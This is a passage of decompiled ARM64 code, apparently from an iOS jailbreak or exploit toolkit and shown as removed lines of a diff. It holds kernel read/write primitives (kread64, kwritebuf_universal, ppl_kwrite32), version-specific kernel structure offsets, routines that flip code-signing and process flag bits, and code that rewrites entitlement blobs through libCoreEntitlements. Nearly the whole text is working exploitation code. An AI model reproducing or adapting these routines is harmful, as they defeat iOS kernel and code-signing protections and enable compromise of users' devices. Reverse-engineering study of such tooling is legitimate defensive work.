*v21)(__int64, CFDictionaryRef *); // x28 - __int64 (__fastcall *v22)(__int64, CFMutableDictionaryRef, CFDataRef *); // x0 - void (__fastcall *v23)(__int64 *); // x20 - CFDataRef v24; // x21 - CFMutableDictionaryRef MutableCopy; // x23 - size_t v26; // x0 - CFErrorRef v27; // x25 - size_t Length; // x26 - void *v29; // x0 - void *v30; // x27 - const UInt8 *BytePtr; // x0 - __int64 v32; // x22 - __int64 (__fastcall *v34)(__int64, CFMutableDictionaryRef, CFDataRef *); // [xsp+10h] [xbp-80h] - __int64 v35; // [xsp+18h] [xbp-78h] - __int64 v36; // [xsp+20h] [xbp-70h] - __int64 v37; // [xsp+28h] [xbp-68h] BYREF - CFDictionaryRef theDict; // [xsp+30h] [xbp-60h] BYREF - CFDataRef theData; // [xsp+38h] [xbp-58h] BYREF - - theDict = 0LL; - theData = 0LL; - v37 = 0LL; - v12 = dlopen("/usr/lib/libCoreEntitlements.dylib", 1); - v13 = v12; - if ( !v12 ) - goto LABEL_18; - v14 = (__int64 *)dlsym(v12, "kCENoError"); - if ( !v14 ) - goto LABEL_18; - v15 = *v14; - v16 = (__int64 *)dlsym(v13, "CECRuntime"); - if ( !v16 - || (v17 = *v16, - (v18 = (__int64 (__fastcall *)(__int64, CFDataRef, __int64 *))dlsym(v13, "CEManagedContextFromCFData")) == 0LL) - || (v19 = v18, - v36 = v17, - (v20 = (__int64 (__fastcall *)(__int64, CFDictionaryRef *))dlsym(v13, "CEQueryContextToCFDictionary")) == 0LL) - || (v21 = v20, - (v22 = (__int64 (__fastcall *)(__int64, CFMutableDictionaryRef, CFDataRef *))dlsym( - v13, - "CESerializeCFDictionary")) == 0LL) ) - { -LABEL_18: - v24 = 0LL; - MutableCopy = 0LL; - v27 = 0LL; - v23 = 0LL; - goto LABEL_19; - } - v34 = v22; - v35 = v15; - v23 = (void (__fastcall *)(__int64 *))dlsym(v13, "CEReleaseManagedContext"); - if ( !v23 || !dlsym(v13, "CEGetErrorString") ) - { - v24 = 0LL; -LABEL_36: - MutableCopy = 0LL; - goto LABEL_37; - } - v24 = CFDataCreateWithBytesNoCopy(kCFAllocatorDefault, a1, a2, kCFAllocatorNull); - if ( !v24 || v35 != v19(v36, v24, &v37) || v35 != v21(v37, &theDict) ) - goto LABEL_36; - MutableCopy = CFDictionaryCreateMutableCopy(kCFAllocatorDefault, 0LL, theDict); - if ( !MutableCopy ) - { -LABEL_37: - v27 = 0LL; - goto LABEL_19; - } - v26 = strlen(a3); - v27 = sub_2BF00((UInt8 *)a3, v26); - if ( v27 ) - { - if ( (unsigned int)sub_2BFDC(MutableCopy, v27, a6) ) - { - if ( v35 == v34(v36, MutableCopy, &theData) ) - { - Length = CFDataGetLength(theData); - v29 = malloc(Length); - if ( v29 ) - { - v30 = v29; - BytePtr = CFDataGetBytePtr(theData); - memcpy(v30, BytePtr, Length); - *a4 = v30; - *a5 = Length; - v32 = 1LL; - goto LABEL_20; - } - } - } - } -LABEL_19: - v32 = 0LL; -LABEL_20: - if ( theData ) - CFRelease(theData); - if ( v27 ) - CFRelease(v27); - if ( MutableCopy ) - CFRelease(MutableCopy); - if ( theDict ) - CFRelease(theDict); - if ( v37 ) - v23(&v37); - if ( v24 ) - CFRelease(v24); - if ( v13 ) - dlclose(v13); - return v32; -} - -//----- (000000000002D2B4) ---------------------------------------------------- -__int64 __fastcall sub_2D2B4(__int64 a1, __int64 a2, unsigned int a3, bool *a4) -{ - unsigned __int64 v7; // x8 - __int64 v8; // x11 - __int64 v9; // x13 - __int64 v10; // x8 - __int64 result; // x0 - __int64 v12; // [xsp+8h] [xbp-28h] BYREF - - v7 = *(_QWORD *)(a1 + 0x158); - v8 = 0xA8LL; - v9 = 0x90LL; - if ( v7 > 0x1C1B19145FFFFFLL ) - v9 = 0x98LL; - if ( v7 <= 0x1F52FFFFFFFFFFLL ) - v8 = v9; - if ( v7 <= 0x1F530F027FFFFFLL ) - v10 = v8; - else - v10 = 0xA0LL; - result = kread64((_DWORD *)a1, *(_QWORD *)(a2 + 8) + v10, &v12); - if ( (_DWORD)result ) - { - result = sub_34D14(a1, a3); - if ( (_DWORD)result ) - { - *a4 = v12 == *(_QWORD *)(a1 + 0x390); - return 1LL; - } - } - return result; -} - -//----- (000000000002D374) ---------------------------------------------------- -_DWORD *__fastcall sub_2D374(__int64 a1, int a2, unsigned int a3, const void *a4, unsigned int a5) -{ - _DWORD *result; // x0 - _DWORD *v9; // x20 - _DWORD *v10; // x23 - _DWORD *v11; // x0 - - result = (_DWORD *)sub_2F92C(a1, a2, a3); - if ( result ) - { - v9 = result; - result = malloc(a5 + 8LL); - if ( result ) - { - v10 = result; - *result = bswap32(a3); - result[1] = bswap32(a5 + 8); - memcpy(result + 2, a4, a5); - v11 = (_DWORD *)*((_QWORD *)v9 + 1); - *((_QWORD *)v9 + 1) = v10; - sub_2F9D4(v11); - return &def_3E8F0 + 1; - } - } - return result; -} -// 0: using guessed type int def_3E8F0; - -//----- (000000000002D3F8) ---------------------------------------------------- -__int64 __fastcall sub_2D3F8(__int64 a1, unsigned int a2, int a3) -{ - unsigned int *v5; // x20 - __int64 result; // x0 - size_t v7; // x1 - __int64 v8; // x8 - __int64 v9; // x9 - void *v10; // x21 - size_t v11; // x2 - int v12; // [xsp+4h] [xbp-5Ch] BYREF - _BYTE __src[48]; // [xsp+8h] [xbp-58h] BYREF - - v5 = sub_2C9B0(a1, a2, a3); - result = (__int64)sub_2C9B0(a1, *(_DWORD *)(a1 + 0x40), 0xFADE0C02); - if ( result ) - { - if ( bswap32(*(_DWORD *)(result + 0x18)) < a2 ) - return 0LL; - v7 = *(unsigned int *)(a1 + 0x48); - v8 = result + bswap32(*(_DWORD *)(result + 0x10)); - v9 = (unsigned int)v7 * a2; - v10 = (void *)(v8 - v9); - if ( v5 ) - { - v12 = 0x30; - result = sub_2BCF0(*(unsigned __int8 *)(result + 0x25), v5, bswap32(v5[1]), __src, &v12); - if ( !(_DWORD)result ) - return result; - v11 = *(unsigned int *)(a1 + 0x48); - if ( (_DWORD)v11 != v12 ) - return 0LL; - memcpy(v10, __src, v11); - } - else - { - bzero((void *)(v8 - v9), v7); - } - return 1LL; - } - return result; -} - -//----- (000000000002D500) ---------------------------------------------------- -bool __fastcall sub_2D500(const UInt8 *a1, CFIndex a2, __int64 a3) -{ - void *v6; // x0 - void *v7; // x19 - __int64 *v8; // x0 - __int64 v9; // x26 - __int64 *v10; // x0 - __int64 v11; // x23 - __int64 (__fastcall *v12)(__int64, CFPropertyListRef, __int64); // x0 - __int64 (__fastcall *v13)(__int64, CFPropertyListRef, __int64); // x24 - const __CFData *v14; // x0 - const __CFData *v15; // x21 - CFPropertyListRef v16; // x0 - const void *v17; // x22 - _BOOL8 v18; // x20 - - v6 = dlopen("/usr/lib/libCoreEntitlements.dylib", 1); - if ( v6 ) - { - v7 = v6; - v8 = (__int64 *)dlsym(v6, "kCENoError"); - if ( v8 ) - { - v9 = *v8; - v10 = (__int64 *)dlsym(v7, "CECRuntime"); - if ( v10 ) - { - v11 = *v10; - v12 = (__int64 (__fastcall *)(__int64, CFPropertyListRef, __int64))dlsym(v7, "CESerializeCFDictionary"); - if ( v12 ) - { - v13 = v12; - if ( dlsym(v7, "CEGetErrorString") ) - { - v14 = CFDataCreateWithBytesNoCopy(kCFAllocatorDefault, a1, a2, kCFAllocatorNull); - if ( v14 ) - { - v15 = v14; - v16 = CFPropertyListCreateWithData(kCFAllocatorDefault, v14, 0LL, 0LL, 0LL); - if ( v16 ) - { - v17 = v16; - v18 = v9 == v13(v11, v16, a3); - CFRelease(v15); - CFRelease(v17); -LABEL_12: - dlclose(v7); - return v18; - } - CFRelease(v15); - } - } - } - } - } - v18 = 0LL; - goto LABEL_12; - } - return 0LL; -} - -//----- (000000000002D64C) ---------------------------------------------------- -_DWORD *__fastcall sub_2D64C(__int64 a1, int a2, unsigned int a3, const void *a4, unsigned int a5) -{ - size_t v9; // x24 - unsigned int v10; // w25 - _DWORD *result; // x0 - _DWORD *v12; // x22 - - if ( (*(_BYTE *)a1 & 1) != 0 && *(_DWORD *)(a1 + 0x30) == 1 ) - { - v9 = a5; - v10 = a5 + 8; - result = malloc(a5 + 8LL); - if ( !result ) - return result; - v12 = result; - *result = bswap32(a3); - result[1] = bswap32(v10); - memcpy(result + 2, a4, v9); - if ( (unsigned int)sub_32650(*(unsigned int **)(a1 + 0x38), a2, (__int64)v12) != 0xFFFFFFFF ) - return &def_3E8F0 + 1; - sub_2F9D4(v12); - } - return 0LL; -} -// 0: using guessed type int def_3E8F0; - -//----- (000000000002D700) ---------------------------------------------------- -unsigned int *__fastcall sub_2D700(__int64 a1, unsigned int a2) -{ - unsigned int *result; // x0 - unsigned int *v5; // x21 - unsigned int v6; // w25 - int v7; // w26 - int v8; // w24 - size_t v9; // x23 - unsigned int *v10; // x20 - __int64 v11; // x23 - size_t v12; // x2 - __int64 v13; // x8 - unsigned int v14; // w8 - unsigned int v15; // w9 - __int64 v16; // x19 - - result = sub_2C9B0(a1, *(_DWORD *)(a1 + 0x40), 0xFADE0C02); - if ( result ) - { - v5 = result; - v6 = bswap32(result[6]); - if ( v6 >= a2 ) - { - return (unsigned int *)(&def_3E8F0 + 1); - } - else - { - v7 = *(_DWORD *)(a1 + 0x48); - v8 = v7 * (a2 - v6); - v9 = bswap32(result[1]) + v8; - result = (unsigned int *)malloc(v9); - if ( result ) - { - v10 = result; - bzero(result, v9); - v11 = v7 * v6; - memcpy(v10, v5, bswap32(v5[4]) - (unsigned int)v11); - v12 = bswap32(v5[1]) + (_DWORD)v11 - bswap32(v5[4]); - v13 = bswap32(v10[4]) + v8; - v10[4] = bswap32(v13); - v10[1] = bswap32(bswap32(v10[1]) + v8); - v10[6] = bswap32(a2); - memcpy((char *)v10 + v13 - v11, (char *)v5 + bswap32(v5[4]) - v11, v12); - v14 = bswap32(v5[4]); - if ( bswap32(v5[5]) > v14 ) - v10[5] = bswap32(bswap32(v10[5]) + v8); - v15 = bswap32(v5[2]); - if ( v15 >> 8 >= 0x201 ) - { - if ( bswap32(v5[0xB]) > v14 ) - v10[0xB] = bswap32(bswap32(v10[0xB]) + v8); - if ( v15 > 0x201FF ) - { - if ( bswap32(v5[0xC]) > v14 ) - v10[0xC] = bswap32(bswap32(v10[0xC]) + v8); - if ( v15 > 0x204FF ) - { - if ( bswap32(v5[0x17]) > v14 ) - v10[0x17] = bswap32(bswap32(v10[0x17]) + v8); - if ( v15 > 0x205FF && bswap32(v5[0x19]) > v14 ) - v10[0x19] = bswap32(bswap32(v10[0x19]) + v8); - } - } - } - v16 = sub_2CA2C(a1, *(_DWORD *)(a1 + 0x40), v10); - free(v10); - return (unsigned int *)v16; - } - } - } - return result; -} -// 0: using guessed type int def_3E8F0; - -//----- (000000000002D934) ---------------------------------------------------- -__int64 __fastcall sub_2D934(__int64 a1, unsigned int a2) -{ - __int64 result; // x0 - __int64 v5; // x20 - __int64 v6; // x1 - __int64 v7; // x0 - int v8; // w8 - _DWORD *v9; // x0 - int v10; // w1 - _BOOL4 has_flag; // w0 - bool v12; // zf - __int64 v13; // x22 - __int64 v14; // x23 - __int64 v15; // x8 - __int64 v16; // x9 - int v17; // w8 - __int64 v18; // x8 - _BOOL4 v19; // w0 - unsigned __int64 v20; // x9 - _BOOL4 v21; // w0 - __int64 v22; // x8 - __int64 v23; // x9 - _BOOL4 v24; // w0 - __int64 v25; // x21 - int v26; // w8 - char v27; // [xsp+Fh] [xbp-31h] BYREF - - v27 = 0; - if ( !krw_ctx_has_flag((_DWORD *)a1, 0x5184201) ) - return 1LL; - result = sub_349C8((_DWORD *)a1, a2); - if ( !result ) - return result; - v5 = result; - if ( krw_ctx_has_flag((_DWORD *)a1, 0x20) ) - { - v6 = v5 + 0x92; -LABEL_5: - v7 = a1; - goto LABEL_6; - } - if ( !krw_ctx_has_flag((_DWORD *)a1, 0x5184001) ) - { - result = krw_ctx_has_flag((_DWORD *)a1, 0x200); - if ( !(_DWORD)result ) - return result; - v17 = *(_DWORD *)(a1 + 0x140); - if ( v17 >= 0x1809 ) - { - if ( v17 <= 0x2257 ) - { - if ( v17 <= 0x1F52 ) - { - if ( v17 <= 0x1C1A ) - { - v18 = 0xEFLL; - if ( *(_QWORD *)(a1 + 0x158) > 0x18090A078FFFFFuLL ) - v18 = 0xE7LL; - } - else - { - v18 = 0xDFLL; - } - } - else - { - v18 = 0x97LL; - } - } - else - { - v18 = 0x8FLL; - } - v6 = v18 + v5; - goto LABEL_5; - } - return 1LL; - } - v8 = *(_DWORD *)(a1 + 0x140); - if ( v8 >= 0x2712 ) - { - v9 = (_DWORD *)a1; - v10 = 0x1180000; -LABEL_13: - has_flag = krw_ctx_has_flag(v9, v10); - v12 = !has_flag; - if ( has_flag ) - v13 = 0xC9LL; - else - v13 = 0xC1LL; - if ( has_flag ) - v14 = 0xCALL; - else - v14 = 0xC2LL; - v15 = 0xC7LL; - v16 = 0xBFLL; -LABEL_50: - if ( v12 ) - v15 = v16; - goto LABEL_52; - } - if ( v8 >= 0x2258 ) - { - v19 = krw_ctx_has_flag((_DWORD *)a1, 0x1180000); - v12 = !v19; - if ( v19 ) - v13 = 0xC1LL; - else - v13 = 0xB9LL; - if ( v19 ) - v14 = 0xC2LL; - else - v14 = 0xBALL; - v15 = 0xBFLL; - v16 = 0xB7LL; - goto LABEL_50; - } - if ( v8 >= 0x1F53 ) - { - v9 = (_DWORD *)a1; - v10 = 0x180000; - goto LABEL_13; - } - v20 = *(_QWORD *)(a1 + 0x158); - if ( v20 >= 0x1C1B0A80100000LL ) - { - v21 = krw_ctx_has_flag((_DWORD *)a1, 0x80000); - v12 = !v21; - if ( v21 ) - v13 = 0x109LL; - else - v13 = 0x101LL; - v22 = 0x10ALL; - v23 = 0x102LL; -LABEL_46: - if ( v12 ) - v14 = v23; - else - v14 = v22; - v15 = 0x107LL; - v16 = 0xFFLL; - goto LABEL_50; - } - if ( v8 >= 0x1C1B ) - { - v24 = krw_ctx_has_flag((_DWORD *)a1, 0x80000); - v12 = !v24; - if ( v24 ) - v13 = 0x108LL; - else - v13 = 0x100LL; - v22 = 0x109LL; - v23 = 0x101LL; - goto LABEL_46; - } - if ( v20 <= 0x18090A078FFFFFLL ) - v13 = 0x110LL; - else - v13 = 0x108LL; - if ( v20 <= 0x18090A078FFFFFLL ) - v14 = 0x111LL; - else - v14 = 0x109LL; - v15 = 0x10FLL; - if ( v20 > 0x18090A078FFFFFLL ) - v15 = 0x107LL; -LABEL_52: - v25 = v15 + v5; - v26 = kreadbuf_last_1(a1, v15 + v5, 1LL, (__int64)&v27); - result = 0LL; - if ( !v26 ) - return result; - if ( !v27 ) - return result; - result = kreadbuf_last_1(a1, v13 + v5, 1LL, (__int64)&v27); - if ( !(_DWORD)result ) - return result; - if ( !v27 ) - return 1LL; - result = kreadbuf_last_1(a1, v14 + v5, 1LL, (__int64)&v27); - if ( (_DWORD)result ) - { - if ( !v27 ) - return 0LL; - v7 = a1; - v6 = v25; -LABEL_6: - result = kreadbuf_last_1(v7, v6, 1LL, (__int64)&v27); - if ( !(_DWORD)result ) - return result; - return v27 != 0; - } - return result; -} - -//----- (000000000002DC40) ---------------------------------------------------- -__int64 __fastcall sub_2DC40(__int64 a1, unsigned int a2) -{ - __int64 result; // x0 - __int64 v5; // x20 - int v6; // w8 - int v7; // w8 - _DWORD *v8; // x0 - int v9; // w1 - _BOOL4 has_flag; // w0 - bool v11; // zf - __int64 v12; // x8 - __int64 v13; // x9 - __int64 v14; // x10 - _BOOL4 v15; // w0 - __int64 v16; // x21 - unsigned __int64 v17; // x9 - _BOOL4 v18; // w0 - _BOOL4 v19; // w0 - unsigned __int8 v20; // [xsp+Fh] [xbp-31h] BYREF - __int64 v21; // [xsp+10h] [xbp-30h] BYREF - unsigned __int8 v22; // [xsp+1Fh] [xbp-21h] BYREF - - v22 = 0; - if ( !krw_ctx_has_flag((_DWORD *)a1, 0x5184001) ) - return 1LL; - result = sub_349C8((_DWORD *)a1, a2); - if ( !result ) - return result; - v5 = result; - if ( krw_ctx_has_flag((_DWORD *)a1, 0x20) ) - { - result = kread64((_DWORD *)a1, v5 + 0xB0, &v21); - if ( (_DWORD)result ) - { - result = validate_addr(a1, v21); - if ( result ) - { - result = kreadbuf_last_1(a1, v21 + 0x20, 1LL, (__int64)&v20); - if ( (_DWORD)result ) - { - v6 = v20; - return v6 != 0; - } - } - } - return result; - } - v7 = *(_DWORD *)(a1 + 0x140); - if ( v7 >= 0x2712 ) - { - v8 = (_DWORD *)a1; - v9 = 0x1180000; -LABEL_10: - has_flag = krw_ctx_has_flag(v8, v9); - v11 = !has_flag; - v12 = 0xC9LL; - if ( !has_flag ) - v12 = 0xC1LL; - v13 = 0xCALL; - v14 = 0xC2LL; -LABEL_17: - if ( v11 ) - v16 = v14; - else - v16 = v13; - goto LABEL_20; - } - if ( v7 >= 0x2258 ) - { - v15 = krw_ctx_has_flag((_DWORD *)a1, 0x1180000); - v11 = !v15; - v12 = 0xC1LL; - if ( !v15 ) - v12 = 0xB9LL; - v13 = 0xC2LL; - v14 = 0xBALL; - goto LABEL_17; - } - if ( v7 >= 0x1F53 ) - { - v8 = (_DWORD *)a1; - v9 = 0x180000; - goto LABEL_10; - } - v17 = *(_QWORD *)(a1 + 0x158); - if ( v17 >= 0x1C1B0A80100000LL ) - { - v18 = krw_ctx_has_flag((_DWORD *)a1, 0x80000); - v11 = !v18; - v12 = 0x109LL; - if ( !v18 ) - v12 = 0x101LL; - v13 = 0x10ALL; - v14 = 0x102LL; - goto LABEL_17; - } - if ( v7 >= 0x1C1B ) - { - v19 = krw_ctx_has_flag((_DWORD *)a1, 0x80000); - v11 = !v19; - v12 = 0x108LL; - if ( !v19 ) - v12 = 0x100LL; - v13 = 0x109LL; - v14 = 0x101LL; - goto LABEL_17; - } - v12 = 0x110LL; - if ( v17 <= 0x18090A078FFFFFLL ) - { - v16 = 0x111LL; - } - else - { - v12 = 0x108LL; - v16 = 0x109LL; - } -LABEL_20: - result = kreadbuf_last_1(a1, v12 + v5, 1LL, (__int64)&v22); - if ( !(_DWORD)result ) - return result; - if ( !v22 ) - return 1LL; - result = kreadbuf_last_1(a1, v16 + v5, 1LL, (__int64)&v22); - if ( (_DWORD)result ) - { - v6 = v22; - return v6 != 0; - } - return result; -} - -//----- (000000000002DE64) ---------------------------------------------------- -unsigned __int64 __fastcall sub_2DE64(__int64 a1, unsigned int a2) -{ - unsigned __int64 result; // x0 - mach_vm_address_t v4; // x20 - int v5; // [xsp+Ch] [xbp-14h] BYREF - - result = sub_34680(a1, a2); - if ( result ) - { - v4 = result; - result = kread32_outptr(a1, result, &v5); - if ( (_DWORD)result ) - return (v5 & 1) != 0 || (unsigned int)ppl_kwrite32(a1, v4, v5 | 1u) != 0; - } - return result; -} - -//----- (000000000002DED4) ---------------------------------------------------- -unsigned __int64 __fastcall sub_2DED4(__int64 a1, unsigned int a2, int a3) -{ - unsigned __int64 result; // x0 - mach_vm_address_t v7; // x22 - int v8; // w8 - unsigned int v9; // w9 - int v10; // w10 - unsigned __int64 v11; // x21 - unsigned __int64 v12; // x21 - int v13; // w8 - int v14; // w9 - int v15; // w10 - int v16; // w9 - int v17; // w2 - int v18; // [xsp+Ch] [xbp-24h] BYREF - - result = sub_2DC40(a1, a2); - if ( (_DWORD)result ) - { - result = sub_34680(a1, a2); - if ( result ) - { - v7 = result; - result = kread32_outptr(a1, result, &v18); - if ( (_DWORD)result ) - { - v8 = v18; - v9 = v18 & 0xEFFFFCFE; - v10 = a3 ? 0x10000001 : 0x301; - v18 = v10 | v9; - if ( (v10 | v9) == v8 || (result = ppl_kwrite32(a1, v7, v10 | v9), (_DWORD)result) ) - { - result = sub_33CB0((_DWORD *)a1, a2); - if ( result ) - { - v11 = result; - result = sub_3481C(a1); - if ( (_DWORD)result ) - { - v12 = v11 + (unsigned int)result; - result = kread32_outptr(a1, v12, &v18); - if ( (_DWORD)result ) - { - v13 = v18; - if ( *(_QWORD *)(a1 + 0x158) <= 0x1C1B1E025FFFFFuLL ) - v14 = 0x10; - else - v14 = 0x8010; - v15 = v14 | v18; - v16 = v18 & ~v14; - if ( a3 ) - v17 = v16; - else - v17 = v15; - v18 = v17; - if ( v17 == v13 ) - return 1LL; - result = noppl_kwrite32(a1, v12, v17); - if ( (_DWORD)result ) - return 1LL; - } - } - } - } - } - } - } - return result; -} - -//----- (000000000002E00C) ---------------------------------------------------- -void __fastcall sub_2E00C(__int64 a1, unsigned int a2) -{ - mach_vm_address_t v4; // x0 - unsigned __int64 v5; // x8 - mach_vm_address_t v6; // x0 - int v7; // w0 - unsigned __int64 v8; // x8 - __int64 v9; // x8 - int v10; // w0 - __int64 v11; // x1 - __int64 v12; // x2 - unsigned __int64 *v13; // x8 - unsigned __int64 v14; // x8 - unsigned __int64 v15; // x8 - bool v16; // zf - int v17; // w0 - _OWORD v18[6]; // [xsp+0h] [xbp-1F0h] BYREF - __int64 v19; // [xsp+60h] [xbp-190h] - unsigned __int64 v20; // [xsp+68h] [xbp-188h] BYREF - unsigned int v21; // [xsp+74h] [xbp-17Ch] BYREF - _BYTE v22[8]; // [xsp+78h] [xbp-178h] BYREF - __int64 v23; // [xsp+80h] [xbp-170h] - unsigned __int64 v24; // [xsp+98h] [xbp-158h] - __int64 v25; // [xsp+A0h] [xbp-150h] - __int128 v26; // [xsp+E0h] [xbp-110h] BYREF - _OWORD v27[11]; // [xsp+F0h] [xbp-100h] BYREF - __int64 v28; // [xsp+1A0h] [xbp-50h] - - v4 = sub_34FF8(a1, a2, &v21); - if ( v4 && ((v21 & 0x400) != 0 || noppl_kwrite32(a1, v4, v21 | 0x400)) ) - { - if ( (v5 = *(_QWORD *)(a1 + 0x158), v5 <= 0x22580A06BFFFFFLL) - && (v5 < 0x1F543C40800000LL || *(int *)(a1 + 0x140) > 0x2257) - || (v6 = sub_34F5C(a1, a2, 1, &v21)) != 0 - && ((v21 & 0x400) != 0 || (unsigned int)ppl_kwrite32(a1, v6, v21 | 0x400)) ) - { - if ( (unsigned int)sub_2C2F8(a1, a2, (__int64)v22) ) - { - sub_2E310(a1, (__int64)v22); - if ( v7 ) - { - v8 = *(_QWORD *)(a1 + 0x158); - if ( v8 >= 0x1C1B1914600000LL && ((*(_DWORD *)a1 & 0x5584001) != 0 || v8 >= 0x1F530000000000LL) ) - { - if ( v24 ) - { - if ( kread64((_DWORD *)a1, v24, (__int64 *)&v20) ) - { - v11 = v20; - if ( v20 ) - { - while ( 1 ) - { - v28 = 0LL; - memset(&v27[1], 0, 0xA0); - v12 = *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL ? 0x30LL : 0x40LL; - v26 = 0uLL; - v27[0] = 0uLL; - if ( !(unsigned int)kreadbuf_last_1(a1, v11, v12, (__int64)&v26) ) - break; - v13 = *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL - ? (unsigned __int64 *)((char *)v27 + 8) - : (unsigned __int64 *)((char *)&v27[1] + 8); - v14 = *v13; - v16 = v25 == v14; - v15 = v14 >> 0x1D; - v16 = v16 || v15 == 0; - if ( !v16 ) - { - v19 = 0LL; - v18[0] = __PAIR128__(v20, 0LL); - memset(&v18[1], 0, 0x50); - sub_2E310(a1, (__int64)v18); - if ( !v17 ) - break; - } - if ( !kread64((_DWORD *)a1, v20, (__int64 *)&v20) ) - break; - v11 = v20; - if ( !v20 ) - goto LABEL_16; - } - } - } - } - } - else - { -LABEL_16: - sub_2CB54((__int64)v22); - if ( (unsigned int)sub_2E4E0((_DWORD *)a1, a2, (unsigned __int64 *)v18) - && (unsigned int)sub_2E5C0(a1, a2, (__int64 *)v18, 0, (__int64)v22) ) - { - v9 = 0x48LL; - if ( *(_QWORD *)(a1 + 0x158) > 0x1F530F027FFFFFuLL ) - v9 = 0x58LL; - if ( (unsigned int)kreadbuf_last_1(a1, v9 + v23, 0x14LL, (__int64)&v26) - && sub_22464(a1, (__int64)&v26, 0x14) ) - { - sub_2E310(a1, (__int64)v22); - if ( v10 ) - sub_2CB54((__int64)v22); - } - } - } - } - } - } - } -} -// 2E100: variable 'v7' is possibly undefined -// 2E1D4: variable 'v10' is possibly undefined -// 2E2B0: variable 'v17' is possibly undefined - -//----- (000000000002E310) ---------------------------------------------------- -void __fastcall sub_2E310(__int64 a1, __int64 a2) -{ - unsigned __int64 v4; // x8 - __int64 v5; // x22 - __int64 v6; // x22 - int v7; // w8 - int v8; // w9 - __int64 v9; // x21 - int v10; // w0 - __int64 v11; // [xsp+0h] [xbp-30h] BYREF - int v12; // [xsp+8h] [xbp-28h] BYREF - int v13; // [xsp+Ch] [xbp-24h] BYREF - - v13 = 1; - v4 = *(_QWORD *)(a1 + 0x158); - if ( v4 <= 0x1F530F027FFFFFLL ) - { - if ( v4 <= 0x1F52FFFFFFFFFFLL ) - { - if ( v4 <= 0x1C1B19145FFFFFLL ) - { - if ( *(int *)(a1 + 0x140) <= 0x1C1A ) - v5 = 0xA8LL; - else - v5 = 0xA0LL; - } - else - { - v5 = 0xA8LL; - } - } - else - { - v5 = 0xB8LL; - } - } - else - { - v5 = 0xACLL; - } - if ( (unsigned int)kreadbuf_last_1(a1, *(_QWORD *)(a2 + 8) + v5, 1LL, (__int64)&v13) ) - { - if ( (v13 & 1) != 0 - || (v13 |= 1u, (unsigned int)kwritebuf_universal((_QWORD *)a1, *(_QWORD *)(a2 + 8) + v5, (__int64)&v13, 1LL)) ) - { - v6 = *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL ? 0x10LL : 0x20LL; - if ( (unsigned int)kreadbuf_last_1(a1, v6 + *(_QWORD *)(a2 + 8), 4LL, (__int64)&v12) ) - { - v7 = v12; - if ( (~v12 & 0x4004000) != 0 ) - { - v8 = *(int *)(a1 + 0x140) <= 0x1C1A ? 0x4004000 : 0x4000000; - v12 |= v8; - if ( (v8 | v7) != v7 ) - { - if ( !(unsigned int)kwritebuf_universal((_QWORD *)a1, *(_QWORD *)(a2 + 8) + v6, (__int64)&v12, 4LL) ) - return; - *(_DWORD *)a2 = v12; - } - } - if ( *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL ) - v9 = 0x80LL; - else - v9 = 0x88LL; - if ( kread64((_DWORD *)a1, v9 + *(_QWORD *)(a2 + 8), &v11) ) - { - if ( !v11 || (sub_2A63C(a1, *(_QWORD *)(a2 + 8) + v9, 0LL), v10) ) - *(_DWORD *)(a2 + 0x50) = 0; - } - } - } - } -} -// 2E4C0: variable 'v10' is possibly undefined - -//----- (000000000002E4E0) ---------------------------------------------------- -__int64 __fastcall sub_2E4E0(_DWORD *a1, unsigned int a2, unsigned __int64 *a3) -{ - __int64 result; // x0 - unsigned __int64 v6; // x21 - __int64 v7; // x0 - __int64 v8; // x0 - __int64 v9; // x21 - unsigned __int64 v10; // x8 - unsigned __int64 v11; // [xsp+8h] [xbp-38h] BYREF - unsigned int v12; // [xsp+10h] [xbp-30h] BYREF - int v13; // [xsp+14h] [xbp-2Ch] BYREF - __int64 v14; // [xsp+18h] [xbp-28h] BYREF - - v14 = 0LL; - result = sub_32D6C((__int64)a1, a2); - if ( result ) - { - v6 = result; - result = sub_329B8((__int64)a1, result); - if ( result ) - { - result = kread64(a1, result, &v14); - if ( (_DWORD)result ) - { - if ( (v14 & 4) != 0 ) - { - v10 = v14 & 0xFFFFFFFFFFFFF000LL; - goto LABEL_11; - } - v7 = sub_328A4((__int64)a1, v6); - if ( v7 ) - { - v8 = sub_33304((__int64)a1, v7); - if ( v8 ) - { - v9 = v8; - if ( (unsigned int)sub_2BBA4((__int64)a1, &v13, (int *)&v12) ) - { - if ( (unsigned int)kreadbuf_last_1((__int64)a1, v9 + v12, 8LL, (__int64)&v11) ) - { - v10 = v11; -LABEL_11: - *a3 = v10; - return 1LL; - } - } - } - } - return 0LL; - } - } - } - return result; -} - -//----- (000000000002E5C0) ---------------------------------------------------- -__int64 __fastcall sub_2E5C0(__int64 a1, unsigned int a2, __int64 *a3, unsigned __int8 a4, __int64 a5) -{ - unsigned __int64 v8; // x0 - unsigned __int64 v9; // x23 - __int64 v10; // x24 - __int64 v11; // x21 - __int64 v12; // x27 - __int64 v13; // x25 - __int64 v14; // x8 - __int64 v15; // x28 - __int64 v16; // x26 - __int64 v17; // x24 - unsigned int *v18; // x0 - unsigned int *v19; // x21 - size_t v20; // x8 - unsigned __int64 v21; // x9 - unsigned __int64 v22; // x10 - size_t v23; // x23 - size_t v24; // x10 - size_t v25; // x10 - unsigned int v26; // w8 - unsigned int v27; // w27 - __int64 v28; // x28 - unsigned int *v29; // x8 - unsigned int *v30; // x22 - unsigned int v31; // w25 - __int64 v32; // x26 - _DWORD *v34; // x0 - _DWORD *v35; // x23 - int v36; // w24 - unsigned __int64 v37; // x26 - _DWORD *v39; // x0 - int v40; // w1 - __int64 v41; // x9 - __int64 v42; // x10 - unsigned int *v43; // x8 - unsigned int *v44; // x0 - unsigned int v45; // w27 - unsigned int **v46; // x11 - int v47; // w15 - unsigned int v48; // w16 - __int64 v49; // x22 - size_t v50; // x23 - char *v51; // x0 - char *v52; // x24 - unsigned int *v53; // x0 - int v54; // [xsp+8h] [xbp-A8h] - unsigned int *v55; // [xsp+10h] [xbp-A0h] - __int64 v56; // [xsp+18h] [xbp-98h] BYREF - unsigned __int64 v57; // [xsp+20h] [xbp-90h] BYREF - __int64 v58; // [xsp+28h] [xbp-88h] BYREF - __int64 v59; // [xsp+30h] [xbp-80h] BYREF - __int64 v60; // [xsp+38h] [xbp-78h] BYREF - __int64 v61; // [xsp+40h] [xbp-70h] BYREF - size_t __size; // [xsp+48h] [xbp-68h] BYREF - unsigned __int64 